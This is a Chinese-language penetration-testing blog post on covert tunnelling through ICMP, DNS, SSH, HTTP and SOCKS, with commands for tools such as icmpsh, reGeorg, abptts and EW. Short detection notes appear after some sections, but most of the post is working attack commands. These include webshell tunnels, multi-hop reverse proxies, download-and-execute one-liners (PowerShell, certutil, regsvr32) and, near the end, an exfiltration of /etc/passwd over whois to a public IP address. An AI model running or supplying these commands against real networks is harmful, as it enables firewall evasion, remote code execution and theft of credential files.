Yoga7xm's Blog

内网渗透--通信隧道

字数统计: 3.9k阅读时长: 16 min
2019/03/31 Share

流量操控及内网穿透

场景

  • 内网机器受到边界防火墙的限制,访问受限的网络环境
  • 使用隐蔽的手段逃避安全检查措施和溯源追踪
  • 在非受信任的网络中实现安全的数据传输

重定向(Rdirection)

端口转发

传输使用的明文

隧道 (Tunneling)

隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。 —-百度百科

  • 在不受信任的网络环境中实现安全的通信

  • 通常使用多种加密技术建立通信隧道

  • 点到点(IP2IP)、端到端(Port2Port)隧道

  • VPN : PPTP、l2tp、IPSec、SSL vpn

封装(encapsulation)

通常结合在隧道中使用,使用一种协议封装一种协议(RPC o HTTP、VoIP)
使用网关设备实现不同类型网络的互联互通


网络层隧道

ICMP隧道

场景

两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透

原理

Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi,ping包的大小是可以改变的,但是内容依旧不变,循环

1
ping www.baidu.com -t -l 1024bytes

Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%&’()+,-./01234567

ICMP隐蔽隧道的原理就是:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)

工具
  1. icmpsh

该工具需要python-impacket库的支持,而且run.sh并不能获取本地IP,所以直接使用python3 icmpsh_m.py 192.168.1.139 192.168.1.161,最大的优点是客户端支持Windows Powershell也能支持,并且无乱码

1
2
3
icmpsh.exe -t 192.168.1.139

powershell.exe -exec bypass -Command "Import-Module .\Invoke-PowerShellIcmp.ps1;Invoke-PowerShellIcmp -IPAddress 192.168.1.139"

  1. ptunnle

已经不更新了,支持多并发连接、支持身份验证、需要root

1
2
3
4
5
6
7
8
server:
ptunnel -x 123456

Client:
sudo ptunnel -p proxy_ip -lp listen_port -da des_ip -dp des_port -x 123456

嵌套SSH隧道
ssh -CNfg -D 7000 root@127.0.0.1 -p listen_port
  1. Icmpshell

下载安装

1
2
3
4
wget http://nchc.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz
tar zxvf ish-v0.2.tar.gz
cd ISHELL-v0.2/
make linux

被控端:

1
./ishd -i 433 -t 0 -p 1024

控制端:

1
./ish -i 443 -t 0 -p 1024 192.168.1.139

这个工具原理都是一样的,但是与其他俩个工具的不一样之处在于,主动向需要控制的机器发送ICMP数据包,并且产生的ICMP数据包比较少,不容易被IDS等检测系统发现

  1. icmptunnel

都只能在linux下使用,并且需要关闭ICMP响应

1
# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

服务端,启动icmptunnel,并给隧道分配一个IP

1
2
3
4
5
# ./icmptunnel –s
opened tunnel device: tun0
(ctrl-z)
# bg
# /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

客户端,连接服务端,并且给隧道分配一个IP

1
2
3
4
5
6
# ./icmptunnel <server>
opened tunnel device: tun0
connection established.
(ctrl-z)
# bg
# /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

客户端就建立了一个端到端的ICMP隧道,其中服务器为10.0.0.1,客户端为10.0.0.2,可以建立一个ssh socks隧道

1
ssh -D 8080 -N root@10.0.0.1

检测
  1. 检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
  2. 寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
  3. 注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。
  4. 检查ICMP数据包的协议标签,例如icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征。

IPV6隧道

类型

  • IPV6 over IPV4隧道,把IPV6报文封装到IPV4报文中,使IPV6的流量可以穿越IPV4网络
  • IPV4 over IPV6隧道,把IPV4报文封装到IPV6中,使IPV4的流量可穿越IPV6

应用层隧道

DNS隧道

场景

防火墙禁止TCP出站访问流量

​ - SSH隧道、端口转发全部失效

​ - 使用基于UDP协议的隧道

​ - DNS的工作原理适合用于实现隧道

原理

配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列dns查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据

  • 利用合法的DNS服务器实现DNS隧道
  • C/S (dns2tcpc / dns2tcpd)架构
  • 通过TXT、CNAME、MX记录加密传输数据(A记录长度有限)
  • 隧道建立后保持连接
  • 默认记录生存时间TTL值为3秒

工具

DNScat2、dns2tcp、iodine、CS

Dns2tcp采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便。iodineDnscat2则是目前的主流,Dnscat2提供了灵活的交互模式,而iodine则在编码,请求类型上提供了更丰富的选择,而且在速度方面,其他工具望尘莫及

方法
  • 假如能够指定任意DNS服务器查询,且可以正常查询到结果的话,无需域名可以直接通过53通道进行高速上线,此时速度最快
1
nslookup www.baidu.com 8.8.8.8
  • 如果无法指定DNS服务器进行查询,必须上线一个自己的域名,并且是慢速上线,速度较慢
1
nslookup www.baidu.com
检测方式
  1. 基于请求域名长度及请求频率统计分析方法,将客户端请求的DNS域名中长度大于长度阈值的以记录下来,然后统计频率,当频率大于频率告警阈值时则判定此客户端使用了 DNS隧道技术
  2. dnscat 查询中包含了dnscat 字符串,这个可以作为防火墙和入侵检测的特征

SSH隧道

  • 建立双向安全隧道

    • 将其他TCP端口的通信通过SSH连接转发
    • 用SSH作为传输层协议,对流量自动加解密
    • 突破防火墙访问规则的限制
  • SSH本地端口转发

    • 本机侦听端口,访问转发到远程主机指定端口
    1
    2
    3
    4
    ssh -L -CfN <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port> 

    #能够共享该隧道
    ssh -L -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>

    基于建立起来的SSH隧道,隧道中断则端口转发中断

    只能在建立隧道时创建转发,不能为已有隧道增加端口转发

  • 远程端口转发

    • 远程侦听端口,访问转发到本机主机指定端口
    1
    ssh -R -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>

    内网为服务器

  • 动态端口转发

    • 本地侦听socks4/5代理端口,由SSH server决定如何转发
    1
    ssh -CfNg -D <listen port> user@<ssh server> -p <ssh server port>

不管是利用SSH做转发还是做socks代理,唯一的好处就是通信数据全加密,一定程度上可有效对抗各类IDS、IPS和取证,缺点就是可能速度稍慢,对于渗透Linux内网是比较好的选择。

HTTP隧道

原理

通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密的,不安全的,一般再嵌套一个SSH安全隧道

1
2
3
4
5
6
CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口
Proxy-Connection: Keep-Alive //客户端到服务器端的连接持续有效
Content-Length: 0
Host: 124.xxx.xxx.xx //主机地址
Proxy-Authorization:Basic YTph //身份验证信息
User-Agent: OpenFetion //可以标识请求者的信息,如什么浏览器类型和版本、操作系统、使用语言等信息
场景
  1. 内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网
  2. 内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
  3. 服务器处于内网,可以访问外部网络
工具
  1. abptts

基于SSL加密的隧道工具,全程通信数据加密,一定程度上能对抗取证检测

需要pycrypto、httplib2依赖库,然后生成服务端webshell

1
python abpttsfactory.py -o webshell

生成了aspx、jsp、war三种类型的webshell(不支持PHP),然后上传至网站服务器即可。然后就可以绑定端口建立隧道了

1
2
3
python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.161:8001/abptts.aspx" -f 127.0.0.1:1234/192.168.1.161:3389

-c 指定webshell配置文件

  1. reGeorg

这个可以说是用的比较多了,支持php|aspx|ashx|jsp,与上一个abptts类似,也是上传一个Tunnel脚本,然后远程连接转发端口即可建立socket代理隧道

1
python2 reGeorgSocksProxy.py -p 8080 -l 192.168.1.139 -u http://192.168.1.161:8001/tunnel.aspx

【注】

  1. 对于aspx的网站假如总是报错,可以尝试ashx脚本
  2. PHP程序确认php.ini中socket模块正常开启并且可用,reGeorge也提供了nosocket脚本
  3. linux下利用proxychains,Windows下利用proxifier实现任意应用通过代理
  4. 假如绑定某些端口会遇到socket无法建立连接时,尝试着利用80、53等穿透性强的端口

剩下还有一些bridge、Reduh、Tunna等工具可以建立HTTP隧道,但是效果都不大好….

  1. Navicat

Navicat自带对应数据库的代理脚本(mysql、postgresql、sqlite),上传该代理脚本,建立HTTP隧道,在远程机器上可直接通过Navicat连接内网数据库

场景

目标机器站库分离,数据库在内网的某台机器上;防火墙阻断外部IP访问内部数据库端口;无法开启mysql外联…

检测
  1. 基于签名的检测,通过检测HTTP协议数据包中特定的数据式样来判断是否是可以的HTTP数据包
  2. 基于协议的检测,很多HTTP隧道传输时只是简单的一个HTTP协议封装,加上了一个HTTP头部,而正常的HTTP协议是非常复杂的
  3. 基于行为的检测,通过数据包大小、数量、会话时长等,基于这些特征采取数据挖掘技术对其进行建模检测

Socks代理

Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,并且支持多种协议,包括http、ftp请求及其他类型的请求。

有socks4和5两种类型,socks4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份认证机制等协议

Lcx

最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。

1
2
3
4
5
//内网机器10.0.0.13389端口,转发到公网9000端口
lcx.exe -slave 192.168.1.161 9000 10.0.0.1 3389

//公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555
lcx.exe -listen 9000 5555

EW

  1. 正向socks5代理
1
ew_for_win32.exe -s ssocksd -l 8888
  1. 反弹socks5代理
1
2
3
4
5
#公网机器 把1080端口的代理请求转发给8888端口
ew_for_win32.exe -s rcsocks -l 1080 -e 8888

#内网机器 开启socks5代理并反弹到公网机器的8888端口
ew_for_win32.exe -s rssocks -d 192.168.1.175 -e 8888
  1. 二级网络环境 (一)
1
2
3
4
5
6
7
8
#A主机存在双网卡,外网IP,可连接目标网络内主机B
#B主机不能访问外网,能连接A

#B先启动socks代理
ew_for_win32.exe -s ssocksd -l 8888

#A 将1080收到的代理请求转发给B的8888端口
ew_for_win32.exe -s lcx_tran -l 1080 -f 192.168.99.101 -g 8888
  1. 二级网络环境 (二)
1
2
3
4
5
6
7
8
9
10
11
#A主机存在双网卡,内网IP,可连接目标网络内主机B和外网
#B主机不能访问外网,能连接A

#VPS下
ew_for_win32.exe -s lcx_listen -l 8899 -e 8888

#B主机下
ew_for_win32.exe -s ssocksd -l 9999

#A主机下 将公网的8888和内网B的9999连接起来
ew_for_win32.exe -s lcx_slave -d vpsIP -e 8888 -f 192.168.99.101 -g 9999
  1. 三级网络环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#A没有公网IP但是可以访问外网,B不能访问外网但是可以被A主机访问、C可以被B访问而且能访问核心区域

#VPS
ew_for_win32.exe -s rcsocks -l 1080 -e 8888

#A主机 将VPS的8888与B主机的9999的端口连接起来
ew_for_win32.exe -s lcx_slave -d VPSIP -e 8888 -f BIP -g 9999

#B主机 将9999收到的代理请求转发给7777端口
ew_for_win32.exe -s lcx_listen -l 9999 -e 7777

#C主机 启动socks服务,并反弹到B主机的7777端口
ew_for_win32.exe -s rssocks -d BIP -e 7777

socks -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Termite

个人感觉不大好用….

内网文件的传输和下载

搭建HTTP Server

  1. Python2 python -m SimpleHTTPServer 1337

  2. Python3 python -m http.server 1337

  3. PHP 5.4+ php -S 0.0.0.0:1337

  4. Ruby

    1
    ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'
  5. Ruby 1.9.2+

    1
    ruby -run -e httpd . -p 1337
  6. Perl

    1
    2
    perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
    perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
  7. busybox httpd

    1
    busybox httpd -f -p 8000

Download files form Server

  1. powershell
1
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'
  1. certutil
1
certutil -urlcache -split -f http://47.107.82.71:1337/10000.txt d:\1234.txt&&d:\1234.txt
  1. bitsadmin (有点慢)
1
bitsadmin /transfer n http://47.107.82.71:1337/10000.txt d:\12345.txt && d:\12345.txt
  1. regsvr32
1
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll
  1. curl
1
curl http://47.107.82.71:1337/10000.txt
  1. wget
1
wget http://47.107.82.71:1337/10000.txt -O 1.txt
  1. awk
1
2
3
4
5
6
7
8
awk 'BEGIN {
RS = ORS = "\r\n"
HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
print "GET /10000.txt HTTP/1.1\r\nConnection: close\r\n" |& HTTPCon
while (HTTPCon |& getline > 0)
print $0
close(HTTPCon)
}'

Bash传输

接收端

1
nc -lvnp 1337 > test.txt

发送端

1
cat test.txt > /dev/tcp/ip/port

SMB协议传输

传送门

kali中已集成该工具

1
2
#在当前目录启动 SMB server,共享名称为 share
impacket-smbserver share `pwd`

下载文件:

1
copy \\IP\ShareName\File.exe file.exe

上传文件:

1
2
3
net use x: \\IP\ShareName
copy file.txt x:
net use x: /delete

Whois传输

接受端:

1
nc -vlnp 1337 | sed "s/ //g" | base64 -d

发送端:

1
whois -h 47.107.82.71 -p 1337 `cat /etc/passwd | base64`

NC传输

接收端:

1
2
3
nc -lvvp 1337 > test.txt

cat < /dev/tcp/10.10.10.200/1337 > 1.txt

发送端:

1
2
3
cat test.txt | nc  47.107.82.71 1337

nc 47.107.82.71 1337 < 10000.txt
CATALOG
  1. 1. 流量操控及内网穿透
    1. 1.1. 场景
    2. 1.2. 重定向(Rdirection)
    3. 1.3. 隧道 (Tunneling)
    4. 1.4. 封装(encapsulation)
  2. 2. 网络层隧道
    1. 2.1. ICMP隧道
      1. 2.1.1. 场景
      2. 2.1.2. 原理
      3. 2.1.3. 工具
      4. 2.1.4. 检测
    2. 2.2. IPV6隧道
  3. 3. 应用层隧道
    1. 3.1. DNS隧道
      1. 3.1.1. 场景
      2. 3.1.2. 原理
      3. 3.1.3. 工具
      4. 3.1.4. 方法
      5. 3.1.5. 检测方式
    2. 3.2. SSH隧道
    3. 3.3. HTTP隧道
      1. 3.3.1. 原理
      2. 3.3.2. 场景
      3. 3.3.3. 工具
      4. 3.3.4. 检测
  4. 4. Socks代理
    1. 4.1. Lcx
    2. 4.2. EW
    3. 4.3. Termite
  5. 5. 内网文件的传输和下载
    1. 5.1. 搭建HTTP Server
    2. 5.2. Download files form Server
    3. 5.3. Bash传输
    4. 5.4. SMB协议传输
    5. 5.5. Whois传输
    6. 5.6. NC传输